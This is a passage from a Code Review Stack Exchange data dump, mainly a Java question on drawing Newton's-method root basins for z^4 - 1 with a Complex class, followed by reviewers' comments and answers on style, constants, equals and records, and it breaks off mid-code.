chime in if I've gone astray):</p>\n<pre><code>def math_count_exact(inv):\n return sum(45 / x for x in range(inv, 0, -1))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T11:03:56.263",
"Id": "489799",
"Score": "0",
"body": "We need a simulation. Simulation gives more accurate calculations. Thanks for your code. I tested it, but it still works slowly, I already don’t know how to speed it up."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:01:11.367",
"Id": "489821",
"Score": "0",
"body": "@Pythonist Correct, the edited `math_count()` won't be any faster. Currently it takes about 1 sec. A key question is **how much faster**? The answer – a little bit faster or an order of magnitude faster – affects which strategies are viable."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:09:00.220",
"Id": "489823",
"Score": "1",
"body": "@Pythonist it'd help if you add in the question what you're trying to simulate? maybe there might be entirely different route to take?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:37:32.847",
"Id": "489826",
"Score": "0",
"body": "@hjpotter92 I have 10 digits out of 45. inv = 10. need to calculate how many random number generations need to make on average to get 10 times the number <= inv. Each time the number is found, the inv decreases by 1."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T00:47:25.893",
"Id": "249776",
"ParentId": "249768",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:58:31.023",
"Id": "249768",
"Score": "3",
"Tags": [
"python",
"performance",
"mathematics"
],
"Title": "How can I speed up my calculations with loops? Python"
}
|
249768
|
<p>The following is the program 3.2.6. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<pre><code>// This data type is the basis for writing Java programs that manipulate complex numbers.
public class Complex
{
private final double re;
private final double im;
public Complex(double real, double imag)
{ re = real; im = imag; }
public double re()
{ return re; }
public double im()
{ return im; }
public double abs()
{ return Math.sqrt(re*re + im*im); }
public Complex plus(Complex b)
{
double real = re + b.re;
double imag = im + b.im;
return new Complex(real, imag);
}
public Complex times(Complex b)
{
double real = re*b.re - im*b.im;
double imag = re*b.im + im*b.re;
return new Complex(real, imag);
}
public String toString()
{
return re + " + " + im + "i";
}
public static void main(String[] args)
{
Complex z0 = new Complex(1.0, 1.0);
Complex z = z0;
z = z.times(z).plus(z0);
z = z.times(z).plus(z0);
System.out.println(z);
}
}
</code></pre>
<p>I also added the following method to it:</p>
<pre><code>public Complex divide(Complex b)
{
double real = (re*b.re + im*b.im) / (b.re*b.re + b.im*b.im);
double imag = (im*b.re - re*b.im) / (b.re*b.re + b.im*b.im);
return new Complex(real, imag);
}
</code></pre>
<p>The following is the exercise 3.2.34. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>The polynomial f(z) = z^4 - 1 has four roots: at 1, -1, i, and -i. We
can find the roots using Newton’s method in the complex plane: z_{k+1} =
z_k - f(z_k) / f'(z_k). Here, f(z) = z^4 - 1 and f'(z) = 4z^3. The
method converges to one of the four roots, depending on the starting
point z_0. Write a program that takes a
command-line argument n and creates an n-by-n picture. Color each pixel white,
red, green, or blue according to which of the four roots the
corresponding complex number converges (black if no convergence after
100 iterations).</p>
</blockquote>
<p>Here is my program:</p>
<pre><code>import java.awt.Color;
public class NewtonianChaos
{
private static Complex polynomial(Complex complexNumber)
{
Complex minusOne = new Complex(-1.0 ,0.0);
return complexNumber.times(complexNumber).times(complexNumber).times(complexNumber).plus(minusOne);
}
private static Complex polynomialDerivative(Complex complexNumber)
{
Complex four = new Complex(4.0, 0.0);
return complexNumber.times(complexNumber).times(complexNumber).times(four);
}
private static Complex applyNewtonMethod(Complex complexNumber, int iterations)
{
Complex minusOne = new Complex(-1.0 ,0.0);
Complex complexRoot = complexNumber;
for (int i = 0; i < iterations; i++)
{
complexRoot = complexRoot.plus((polynomial(complexRoot).divide(polynomialDerivative(complexRoot))).times(minusOne));
}
return complexRoot;
}
private static Color pickColor(Complex complexNumber)
{
if (complexNumber.re() == 1.0 && complexNumber.im() == 0) return new Color(255, 0, 0);
else if (complexNumber.re() == -1.0 && complexNumber.im() == 0) return new Color(0, 255, 0);
else if (complexNumber.im() == 1.0 && complexNumber.re() == 0) return new Color(0, 0, 255);
else if (complexNumber.im() == -1.0 && complexNumber.re() == 0) return new Color(255, 255, 255);
else return new Color(0, 0, 0);
}
private static Picture paint(Picture picture, int iterations)
{
int width = picture.width();
int height = picture.height();
for (int j = 0; j < width; j++)
{
for (int i = 0; i < height; i++)
{
double realPart = 1.0 * j / width;
double imaginaryPart = 1.0 * i / height;
Complex complexNumber = new Complex(realPart, imaginaryPart);
Complex complexRoot = applyNewtonMethod(complexNumber, iterations);
Color color = pickColor(complexRoot);
picture.set(j, i, color);
}
}
return picture;
}
public static void main(String[] args)
{
int side = Integer.parseInt(args[0]);
int iterations = Integer.parseInt(args[1]);
Picture picture = new Picture(side, side);
paint(picture, iterations);
picture.show();
}
}
</code></pre>
<p><a href="https://introcs.cs.princeton.edu/java/stdlib/javadoc/Picture.html" rel="noreferrer">Picture</a> is a simple API written by the authors of the book. I checked my program and it works. Here is one instance of it:</p>
<p>Input: 7000 100</p>
<p>Output:</p>
<p><a href="https://i.stack.imgur.com/ndxEO.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/ndxEO.jpg" alt="enter image description here" /></a></p>
<p>Is there any way that I can improve my program?</p>
<p>Thanks for your attention.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T07:11:04.643",
"Id": "489787",
"Score": "0",
"body": "`double realPart = 1.0 * j / width;` doesn’t need to be in the innermost loop where `j` doesn’t change in the iterations. Generally, you could make the expensive calculations `1.0/width` and `1.0/height` at the beginning of the method and only multiply `i` and `j` with these factors in the loop."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T10:46:34.493",
"Id": "489795",
"Score": "1",
"body": "In `pickColor()`, you assume that you exactly reach one of the four root values. And luckily you do quite often, as we see in the picture. But with floating point computations, I'd allow for the typical rounding errors, so e.g. check whether the result lies within +/- 1.0E-10 of the target value."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T10:53:40.337",
"Id": "489796",
"Score": "1",
"body": "You can implement an early abort in `applyNewtonMethod()`. The computation will quite often reach its final value before the iterations are exhausted. You can leave the loop whenever the current `complexRoot` is exactly equal to the previous iteration's value. From that point on, all future iterations will only repeat exactly the same computation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T10:54:58.623",
"Id": "489797",
"Score": "0",
"body": "@RalfKleberhoff Thank you very much."
}
] |
[
{
"body": "<h2>Formatting</h2>\n<p>Run your code through a style checker / formatter to make it more readable and follow a standardized code style. For example this one</p>\n<p><a href=\"https://codebeautify.org/javaviewer\" rel=\"noreferrer\">https://codebeautify.org/javaviewer</a></p>\n<h2>Don't repeat yourself 1</h2>\n<pre><code>Complex minusOne = new Complex(-1.0 ,0.0);\n</code></pre>\n<p>You are defining this in more than one place. This should be a <code>final</code> member at the beginning of your class.</p>\n<h2>Don't repeat yourself 2</h2>\n<pre><code>return new Color(255, 0, 0);\n</code></pre>\n<p>Instead of creating a <code>new</code> color over and over, which might consume a lot of memory and cpu, the colors should also be defined as constants in the beginning of the class, and named accordingly, for example <code>RED</code> is a good name. It is quite possible that the color library/tools you use already has such ready-to-use predefined colors, if that's the case then use those.</p>\n<h2>Naming / Clarity</h2>\n<pre><code>polynomial\n</code></pre>\n<p>Why is the function named polynomial that returns <code>c^4 - 1</code> ? Polynomial could mean any polynomial, so you should rather give the function a more specific name, or make a more general polynomial function that takes in some parameters and creates a polynomial accordingly.</p>\n<p>(Within the context of your assignment, this is not very important though, since it won't be mistaken).</p>\n<h2>Code structure</h2>\n<pre><code>private static Color pickColor(Complex complexNumber)\n {\n if (complexNumber.re() == 1.0 && complexNumber.im() == 0) return new Color(255, 0, 0);\n else if (complexNumber.re() == -1.0 && complexNumber.im() == 0) return new Color(0, 255, 0);\n else if (complexNumber.im() == 1.0 && complexNumber.re() == 0) return new Color(0, 0, 255);\n else if (complexNumber.im() == -1.0 && complexNumber.re() == 0) return new Color(255, 255, 255);\n else return new Color(0, 0, 0);\n }\n</code></pre>\n<p>This is not a nice piece of code.\nIn addition to using color constants as mentioned above, it would be natural to have an <code>equals</code> method for your <code>Complex</code> class. Add one if there isn't one already.</p>\n<p>Then you can use that to compare like so:</p>\n<pre><code>if complexnumber.equals(Complex(1.0, 0.0)) return RED;\nif complexnumber.equals(Complex(-1.0, 0.0)) return GREEN;\n</code></pre>\n<p>and so on.</p>\n<p>The <code>Complex(1.0, 0.0)</code> should also be constants by the way, since we are re-using them a lot. So create some constants like <code>final Complex ONE = new Complex(1.0, 0.0)</code> and use that in the <code>equals</code> comparison.</p>\n<p>Since you're returning in each <code>if</code>, you also don't need the <code>else</code>, just remove them.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T00:54:16.053",
"Id": "489769",
"Score": "4",
"body": "For the colors, you can also use the constants provided in the `java.awt.Color` class (java.awt.Color#white, java.awt.Color#green, etc.) instead of recreating them (`Don't repeat yourself 2`)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T07:05:31.363",
"Id": "489786",
"Score": "5",
"body": "[`Color.RED`](https://docs.oracle.com/en/java/javase/15/docs/api/java.desktop/java/awt/Color.html#RED)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:50:40.003",
"Id": "489955",
"Score": "0",
"body": "What should he call it? `myPolynomial` ? I can't think of names better than `polynomial` or `f`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T23:55:41.823",
"Id": "249775",
"ParentId": "249770",
"Score": "15"
}
},
{
"body": "<p>I have some suggestions for your code.</p>\n<p>As @user985366 also stated in his/her answer, the biggest issue in your code, in my opinion, is the code duplication.</p>\n<p>For the colors, the <code>java.awt.Color</code> class offer lots of base color already computed and exposed as constants; you can see the in the <a href=\"https://docs.oracle.com/en/java/javase/14/docs/api/java.desktop/java/awt/Color.html\" rel=\"noreferrer\">documentation / class</a>.</p>\n<h2>NewtonianChaos#pickColor method</h2>\n<p>You can extract some of the methods call into variables, since they are uses in most of the checks.</p>\n<p><strong>Before</strong></p>\n<pre class=\"lang-java prettyprint-override\"><code>if (complexNumber.re() == 1.0 && complexNumber.im() == 0) return new Color(255, 0, 0);\nelse if (complexNumber.re() == -1.0 && complexNumber.im() == 0) return new Color(0, 255, 0);\nelse if (complexNumber.im() == 1.0 && complexNumber.re() == 0) return new Color(0, 0, 255);\nelse if (complexNumber.im() == -1.0 && complexNumber.re() == 0) return new Color(255, 255, 255);\nelse return new Color(0, 0, 0);\n</code></pre>\n<p><strong>After</strong></p>\n<pre class=\"lang-java prettyprint-override\"><code>double re = complexNumber.re();\ndouble im = complexNumber.im();\n\nif (re == 1.0 && im == 0) return Color.RED;\nelse if (re == -1.0 && im == 0) return Color.GREEN;\nelse if (im == 1.0 && re == 0) return Color.BLUE;\nelse if (im == -1.0 && re == 0) return Color.WHITE;\nelse return Color.BLACK;\n</code></pre>\n<p>This will make the function look cleaner and make the code easier to read.</p>\n<h2>Complex#divide method</h2>\n<p>Again, you can extract into variables.</p>\n<p><strong>Before</strong></p>\n<pre class=\"lang-java prettyprint-override\"><code>double real = (re * b.re + im * b.im) / (b.re * b.re + b.im * b.im);\ndouble imag = (im * b.re - re * b.im) / (b.re * b.re + b.im * b.im);\nreturn new Complex(real, imag);\n</code></pre>\n<p><strong>After</strong></p>\n<pre class=\"lang-java prettyprint-override\"><code>double v = b.re * b.re + b.im * b.im;\ndouble real = (re * b.re + im * b.im) / v;\ndouble imag = (im * b.re - re * b.im) / v;\nreturn new Complex(real, imag);\n</code></pre>\n<p>Also, in this method, you should check if the value is != 0, when dividing, just to be sure.</p>\n<pre class=\"lang-java prettyprint-override\"><code>double v = b.re * b.re + b.im * b.im;\n\nif(v == 0d) {\n //[...] return a value or throw an \n}\n\ndouble real = (re * b.re + im * b.im) / v;\ndouble imag = (im * b.re - re * b.im) / v;\nreturn new Complex(real, imag);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T11:30:30.707",
"Id": "249785",
"ParentId": "249770",
"Score": "8"
}
},
{
"body": "<p>I hope you don't mind that I mostly copy&pasted my last answer to one of your questions, but basically, the points are mostly still the same.</p>\n<h1>Whitespace</h1>\n<p>There should be a blank line between two method definitions.</p>\n<p>Also, some blank lines inside of the methods would give the code room to breathe, and allow you to visually separate individual "steps" from each other, for example in your <code>main</code> method:</p>\n<pre class=\"lang-java prettyprint-override\"><code>int side = Integer.parseInt(args[0]);\nint iterations = Integer.parseInt(args[1]);\nPicture picture = new Picture(side, side);\n\npaint(picture, iterations);\npicture.show();\n</code></pre>\n<h1>Formatting</h1>\n<p>The Java community has a fairly standard formatting style. In the early years of Java, <a href=\"https://oracle.com/java/technologies/javase/codeconventions-contents.html\" rel=\"noreferrer\">Sun used to publish a standardized coding style</a>. They stopped at some point, because they felt that it wasn't the job of the language creator to tell people how to write their code, but most of the community still sticks to those rules.</p>\n<p>Another popular style guide is the <a href=\"https://google.github.io/styleguide/javaguide.html\" rel=\"noreferrer\">Google Java Style Guide</a>, which builds on Sun's, but deviates in a couple of places, e.g. Sun's style guide specified an indentation of 4 columns to be achieved either with spaces or tabs, Google specifies 2 spaces.</p>\n<p>Most of these style guides would suggest to leave whitespace between method definitions. Also, almost all Java style guides use some form of <a href=\"https://wikipedia.org/wiki/Indentation_style#Variant:_Java\" rel=\"noreferrer\"><em>Egyptian Braces</em></a> where the opening brace is on the same line as the declaration or keyword that starts the compound statement.</p>\n<p>Seeing something like</p>\n<pre class=\"lang-java prettyprint-override\"><code>private static Complex polynomial(Complex complexNumber)\n{\n Complex minusOne = new Complex(-1.0 ,0.0);\n return complexNumber.times(complexNumber).times(complexNumber).times(complexNumber).plus(minusOne);\n}\n</code></pre>\n<p>will look weird to a Java programmer. They would expect to see either</p>\n<pre class=\"lang-java prettyprint-override\"><code>private static Complex polynomial(Complex complexNumber) {\n Complex minusOne = new Complex(-1.0 ,0.0);\n return complexNumber.times(complexNumber).times(complexNumber).times(complexNumber).plus(minusOne);\n}\n</code></pre>\n<p>or</p>\n<pre class=\"lang-java prettyprint-override\"><code>private static Complex polynomial(Complex complexNumber) {\n Complex minusOne = new Complex(-1.0 ,0.0);\n return complexNumber.times(complexNumber).times(complexNumber).times(complexNumber).plus(minusOne);\n}\n</code></pre>\n<p>And something like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public Complex(double real, double imag)\n{ re = real; im = imag; }\npublic double re() \n{ return re; }\npublic double im()\n{ return im; }\npublic double abs()\n{ return Math.sqrt(re*re + im*im); }\n</code></pre>\n<p>is <em>completely</em> non-standard and non-idiomatic. It doesn't even match with the rest of your code. It should <em>at least</em> look like this to be consistent with the rest of your code:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public Complex(double real, double imag)\n{\n re = real;\n im = imag;\n}\n\npublic double re() \n{\n return re;\n}\n\npublic double im()\n{\n return im;\n}\n\npublic double abs()\n{\n return Math.sqrt(re*re + im*im);\n}\n</code></pre>\n<p>but most Java style guides would prefer this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public Complex(double real, double imag) {\n re = real;\n im = imag;\n}\n\npublic double re() {\n return re;\n}\n\npublic double im() {\n return im;\n}\n\npublic double abs() {\n return Math.sqrt(re*re + im*im);\n}\n</code></pre>\n<p><em>Personally</em>, I would also be fine with this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public Complex(double real, double imag) {\n re = real;\n im = imag;\n}\n\npublic double re() { return re; }\n\npublic double im() { return im; }\n\npublic double abs() { return Math.sqrt(re*re + im*im); }\n</code></pre>\n<p>And even this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public Complex(double real, double imag) {\n re = real;\n im = imag;\n}\n\npublic double re() { return re; }\npublic double im() { return im; }\npublic double abs() { return Math.sqrt(re*re + im*im); }\n</code></pre>\n<p>Personally, what I do is I set my editor to "auto-format while type", "auto-format on paste", and "auto-format on save", and then I can just turn off my brain and <em>never need to think about formatting ever again</em>.</p>\n<h1>Magic values</h1>\n<p>There are some magic values in your code, for example <code>(255, 0, 0)</code> or <code>(255, 255, 255)</code>.</p>\n<p>Variables allow you to give explanatory, intention-revealing names to your values.</p>\n<pre class=\"lang-java prettyprint-override\"><code>final var red = new Color(255, 0, 0);\n</code></pre>\n<p>However, note that as mentioned in <a href=\"https://codereview.stackexchange.com/a/249785/1581\">Doi9t's answer</a>, there is no need to define those yourself, all of the colors you are using are already <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.desktop/java/awt/Color.html#field.summary\" rel=\"noreferrer\">predefined in Java SE</a>.</p>\n<h1>Type inference</h1>\n<p>I am a big fan of type inference, especially in cases where the type is obvious:</p>\n<pre class=\"lang-java prettyprint-override\"><code>int side = Integer.parseInt(args[0]);\n</code></pre>\n<p>How often do I have to told that this is an integer? I get it!</p>\n<pre class=\"lang-java prettyprint-override\"><code>var side = Integer.parseInt(args[0]);\n</code></pre>\n<p>Same here:</p>\n<pre class=\"lang-java prettyprint-override\"><code>Picture picture = new Picture(side, side);\n</code></pre>\n<p>This almost sounds like someone stuttering. I don't need the <code>picture</code> variable to be explicitly annotated with the <code>Picture</code> type to understand that a variable called <code>picture</code> being initialized with a <code>Picture</code> is <em>probably</em> a picture:</p>\n<pre class=\"lang-java prettyprint-override\"><code>var picture = new Picture(side, side);\n</code></pre>\n<h1><code>final</code></h1>\n<p>I am also a big fan of making everything that <em>can</em> be made <code>final</code> explicitly <code>final</code>. And even for things that can't be made <code>final</code> as written, I'd investigate whether it can be rewritten so it <em>can</em> be made <code>final</code>.</p>\n<p>Note, by "everything" I mean primarily variables and fields. However, unless a class is explicitly designed to be extended, it should also be marked <code>final</code>. And of course, immutable classes need to be <code>final</code> anyway.</p>\n<h1>Naming</h1>\n<p><code>complexNumber</code> is not a very intention-revealing name. I already know it is a complex number from its type, but what does it <em>do</em>? What is its meaning?</p>\n<p>Also note that Java SE does contain a couple of numeric classes such as <code>BigInteger</code> and <code>BigDecimal</code>, and they use the terms <code>add</code> and <code>multiply</code> instead of <code>plus</code> and <code>times</code>, so it would probably be a good idea to follow them.</p>\n<p><code>polynomial</code> was already mentioned in another answer.</p>\n<h1>Code Duplication</h1>\n<p>There are two identical definitions of <code>minusOne</code>. Also, the number <code>-1</code> is used a third time in the <code>paint</code> method, but in a hidden way.</p>\n<p>You can pull these out into <code>private static final</code> fields in your class. But really, if you compare the <code>Complex</code> class to other numeric classes in the Java SE standard library, e.g. <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/math/BigInteger.html#field.summary\" rel=\"noreferrer\"><code>java.math.BigInteger</code></a> or <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/math/BigDecimal.html#field.summary\" rel=\"noreferrer\"><code>java.math.BigDecimal</code></a>, or third-party classes from the larger Java community, e.g. Apache Commons Math's <a href=\"https://commons.apache.org/proper/commons-math/apidocs/org/apache/commons/math4/fraction/Fraction.html#field.summary\" rel=\"noreferrer\"><code>apache.commons.math4.fraction.Fraction</code></a> and JScience's <a href=\"http://jscience.org/api/org/jscience/mathematics/number/Rational.html#field_summary\" rel=\"noreferrer\"><code>org.jscience.mathematics.number.Rational</code></a>, and especially other complex number implementations such as <a href=\"https://commons.apache.org/proper/commons-math/apidocs/org/apache/commons/math4/complex/Complex.html#field.summary\" rel=\"noreferrer\"><code>apache.commons.math4.complex.Complex</code></a> or <a href=\"http://jscience.org/api/org/jscience/mathematics/number/Complex.html#field_summary\" rel=\"noreferrer\"><code>org.jscience.mathematics.number.Complex</code></a>, you will see that they expose important and often needed numbers as <code>static</code> fields on the class itself.</p>\n<h1>Correctness</h1>\n<p>Your <code>Complex</code> class is missing an implementation of <code>equals</code>. As a result, it inherits the default implementation of <code>equals</code> which checks for reference equality, which means that e.g. the following will be <code>false</code>:</p>\n<pre class=\"lang-java prettyprint-override\"><code>var two = new Complex(2d, 0d);\nvar alsoTwo = new Complex(2d, 0d);\n\nSystem.out.println(two.equals(alsoTwo));\nSystem.out.println(two.equals(Complex.ONE.add(Complex.ONE)));\n</code></pre>\n<p>You should pretty much always override <code>equals</code> (and <code>hashCode</code>), at least in all your data classes and model classes. For <code>Complex</code>, it should be something like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>@Override\npublic boolean equals(final Object other) {\n if (other == null) {\n return false;\n }\n\n if (this == other) {\n return true;\n }\n\n if (other instanceof Complex) {\n var otherComplex = (Complex) other;\n return re() == otherComplex.re() && im() == otherComplex.im();\n }\n\n return false;\n}\n</code></pre>\n<h1>Clarity</h1>\n<p>In the <code>pickColor</code> method, you sometimes use the order <code>re</code> first, <code>im</code> second, and sometimes the other way around. That is very confusing. At first glance, it looks like the first and third condition and the second and fourth condition are identical.</p>\n<p>You should not switch the order in the middle of the method, and at least be consistent <em>within</em> the method but even better in the entire code. Also, try to be consistent with established conventions, and typically, the real part always comes first.</p>\n<p>However, once you implement a proper <code>Complex.equals</code> method, that problem will go away, because you can then simply compare complex numbers instead of having to pick them apart. And if you also implement the idea of giving them well-known names, the method will look like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>if (complexNumber.equals(Complex.ONE)) {\n return Color.RED;\n} else if (complexNumber.equals(Complex.MINUS_ONE)) {\n return Color.GREEN;\n} else if (complexNumber.equals(Complex.I)) {\n return Color.BLUE;\n} else if (complexNumber.equals(Complex.MINUS_I)) {\n return Color.WHITE;\n} else {\n return Color.BLACK;\n}\n</code></pre>\n<h1>Records</h1>\n<p>Records are an experimental feature in Java 14. "Experimental" means that they can be removed at any time without warning, changed in a backwards-incompatible breaking manner without warning, and require specific command line flags to work. So, they should not be used in production.</p>\n<p>However, they are <em>extremely</em> useful, and classes like your <code>Complex</code> class are <em>exactly</em> what they were made for. Changing your <code>Complex</code> class into a <code>record</code> reduces the code from this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public final class Complex {\n public static Complex ZERO = new Complex(0.0, 0.0);\n public static Complex ONE = new Complex(1.0, 0.0);\n public static Complex MINUS_ONE = new Complex(-1.0, 0.0);\n public static Complex I = new Complex(0.0, 1.0);\n public static Complex MINUS_I = new Complex(0.0, -1.0);\n\n private final double re;\n private final double im;\n\n public Complex(final double re, final double im) {\n this.re = re;\n this.im = im;\n }\n\n public double getRe() { return re; }\n public double getIm() { return im; }\n\n @Override\n public boolean equals(final Object other) {\n if (other == null) {\n return false;\n }\n\n if (this == other) {\n return true;\n }\n\n if (other instanceof Complex) {\n var otherComplex = (Complex) other;\n return getRe() == otherComplex.getRe() && getIm() == otherComplex.getIm();\n }\n\n return false;\n }\n\n public double abs() {\n return Math.sqrt(getRe() * getRe() + getIm() * getIm());\n }\n\n public Complex add(final Complex b) {\n final var real = getRe() + b.getRe();\n final var imag = getIm() + b.getIm();\n\n return new Complex(real, imag);\n }\n\n public Complex multiply(final Complex b) {\n final var real = getRe() * b.getRe() - getIm() * b.getIm();\n final var imag = getRe() * b.getIm() + getIm() * b.getRe();\n\n return new Complex(real, imag);\n }\n\n public Complex divide(final Complex b) {\n final var real = (getRe() * b.getRe() + getIm() * b.getIm()) / (b.getRe() * b.getRe() + b.getIm() * b.getIm());\n final var imag = (getIm() * b.getRe() - getRe() * b.getIm()) / (b.getRe() * b.getRe() + b.getIm() * b.getIm());\n\n return new Complex(real, imag);\n }\n\n public String toString() { return getRe() + " + " + getIm() + "i"; }\n\n public static void main(final String[] args) {\n final var z0 = new Complex(1.0, 1.0);\n var z = z0;\n\n z = z.multiply(z).add(z0);\n z = z.multiply(z).add(z0);\n\n System.out.println(z);\n }\n}\n</code></pre>\n<p>to this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public record Complex(final double re, final double im) {\n public static Complex ZERO = new Complex(0.0, 0.0);\n public static Complex ONE = new Complex(1.0, 0.0);\n public static Complex MINUS_ONE = new Complex(-1.0, 0.0);\n public static Complex I = new Complex(0.0, 1.0);\n public static Complex MINUS_I = new Complex(0.0, -1.0);\n\n public double abs() {\n return Math.sqrt(re * re + im * im);\n }\n\n public Complex add(final Complex b) {\n final var real = re + b.re;\n final var imag = im + b.im;\n\n return new Complex(real, imag);\n }\n\n public Complex multiply(final Complex b) {\n final var real = re * b.re - im * b.im;\n final var imag = re * b.im + im * b.re;\n\n return new Complex(real, imag);\n }\n\n public Complex divide(final Complex b) {\n final var real = (re * b.re + im * b.im) / (b.re * b.re + b.im * b.im);\n final var imag = (im * b.re - re * b.im) / (b.re * b.re + b.im * b.im);\n\n return new Complex(real, imag);\n }\n\n public String toString() { return re + " + " + im + "i"; }\n\n public static void main(final String[] args) {\n final var z0 = new Complex(1.0, 1.0);\n var z = z0;\n\n z = z.multiply(z).add(z0);\n z = z.multiply(z).add(z0);\n\n System.out.println(z);\n }\n}\n</code></pre>\n<p>We get the fields, the constructor, as well as correct implementations of <code>equals</code> (I am <em>not</em> 100% convinced that my implementation is correct!) and <code>hashCode</code> for free. We also get a sensible implementation of <code>toString</code>, although we override it here to get the usual <code>a + bi</code> representation.</p>\n<h1>Single Responsibility Principle</h1>\n<p>Your <code>NewtonianChaos</code> class does two completely different things: it <em>computes</em> stuff and it <em>draws</em> stuff. One part is all about numbers. The other part is all about colors and coordinates.</p>\n<p>Those are different responsibilities. They should be separated into different objects.</p>\n<p>Likewise, your <code>Complex</code> class is a pure data class. Why does it have a <code>main</code> method? Because it does two things: it represents a complex number and it tests itself. Tests should go into … well … tests, not <code>main</code> methods.</p>\n<h1>Testability, Modularity, Overall Design</h1>\n<ul>\n<li>All your methods are <code>static</code>, in other words, they aren't really methods at all, they are glorified <em>procedures</em>. There are no objects!</li>\n<li>Your <code>NewtonianChaos</code> class is intricately linked to the <code>Picture</code> class, there is no way to separate them, to use them independently, to test them independently.</li>\n</ul>\n<p>It is hard to test code if I can't instantiate an object that I can test. It is hard to test code if I always need the entire thing and can't test pieces independently or swap out pieces for test versions.</p>\n<p>At the moment, the only way to test your code, is to run the entire thing, take a screenshot and compare it with a pre-recorded one. This adds a huge amount of complexity to the tests, and is very slow. Ideally, you want to be able to run your tests every couple of seconds.</p>\n<p>And actually, that only applies to <em>you</em>! I cannot even do <em>that</em>, because I don't have the <code>Picture</code> class.</p>\n<p><code>NewtonianChaos</code> should be a <em>true object</em>, not a static class. In fact, as mentioned above, it should actually be <em>two</em> objects. It should have the dependency on <code>Picture</code> injected, not hard-coded. The <code>Picture</code> dependency should be abstracted behind an <code>interface</code>, so that, for testing purposes, I can replace the picture with a version that records the commands and compares them to a pre-recorded sequence instead of drawing on the screen.</p>\n<pre class=\"lang-java prettyprint-override\"><code>import java.awt.Color;\n\npublic class NewtonianChaos {\n private static Complex polynomial(final Complex complexNumber) {\n return complexNumber.multiply(complexNumber).multiply(complexNumber).multiply(complexNumber)\n .add(Complex.MINUS_ONE);\n }\n\n private static Complex polynomialDerivative(final Complex complexNumber) {\n final var four = new Complex(4.0, 0.0);\n return complexNumber.multiply(complexNumber).multiply(complexNumber).multiply(four);\n }\n\n private static Complex applyNewtonMethod(final Complex complexNumber, final int iterations) {\n var complexRoot = complexNumber;\n\n for (var i = 0; i < iterations; i++) {\n final var newComplexRoot = complexRoot.add(\n (polynomial(complexRoot).divide(polynomialDerivative(complexRoot))).multiply(Complex.MINUS_ONE));\n\n if (newComplexRoot == complexRoot) { break; }\n\n complexRoot = newComplexRoot;\n }\n\n return complexRoot;\n }\n\n private static Color pickColor(final Complex complexNumber) {\n if (complexNumber.equals(Complex.ONE)) {\n return Color.RED;\n } else if (complexNumber.equals(Complex.MINUS_ONE)) {\n return Color.GREEN;\n } else if (complexNumber.equals(Complex.I)) {\n return Color.BLUE;\n } else if (complexNumber.equals(Complex.MINUS_I)) {\n return Color.WHITE;\n } else {\n return Color.BLACK;\n }\n }\n\n private static Picture paint(final Picture picture, final int iterations) {\n final int width = picture.width();\n final int height = picture.height();\n\n for (int j = 0; j < width; j++) {\n final double realPart = 1.0 * j / width;\n\n for (int i = 0; i < height; i++) {\n final double imaginaryPart = 1.0 * i / height;\n\n final Complex complexNumber = new Complex(realPart, imaginaryPart);\n final Complex complexRoot = applyNewtonMethod(complexNumber, iterations);\n\n final Color color = pickColor(complexRoot);\n\n picture.set(j, i, color);\n }\n }\n\n return picture;\n }\n\n public static void main(final String[] args) {\n final int side = Integer.parseInt(args[0]);\n final int iterations = Integer.parseInt(args[1]);\n final Picture picture = new Picture(side, side);\n\n paint(picture, iterations);\n\n picture.show();\n }\n}\n\npublic record Complex(final double re, final double im) {\n public static Complex ZERO = new Complex(0.0, 0.0);\n public static Complex ONE = new Complex(1.0, 0.0);\n public static Complex MINUS_ONE = new Complex(-1.0, 0.0);\n public static Complex I = new Complex(0.0, 1.0);\n public static Complex MINUS_I = new Complex(0.0, -1.0);\n\n public double abs() {\n return Math.sqrt(re * re + im * im);\n }\n\n public Complex add(final Complex b) {\n final var real = re + b.re;\n final var imag = im + b.im;\n\n return new Complex(real, imag);\n }\n\n public Complex multiply(final Complex b) {\n final var real = re * b.re - im * b.im;\n final var imag = re * b.im + im * b.re;\n\n return new Complex(real, imag);\n }\n\n public Complex divide(final Complex b) {\n final var v = b.re * b.re + b.im * b.im;\n final var real = (re * b.re + im * b.im) / v;\n final var 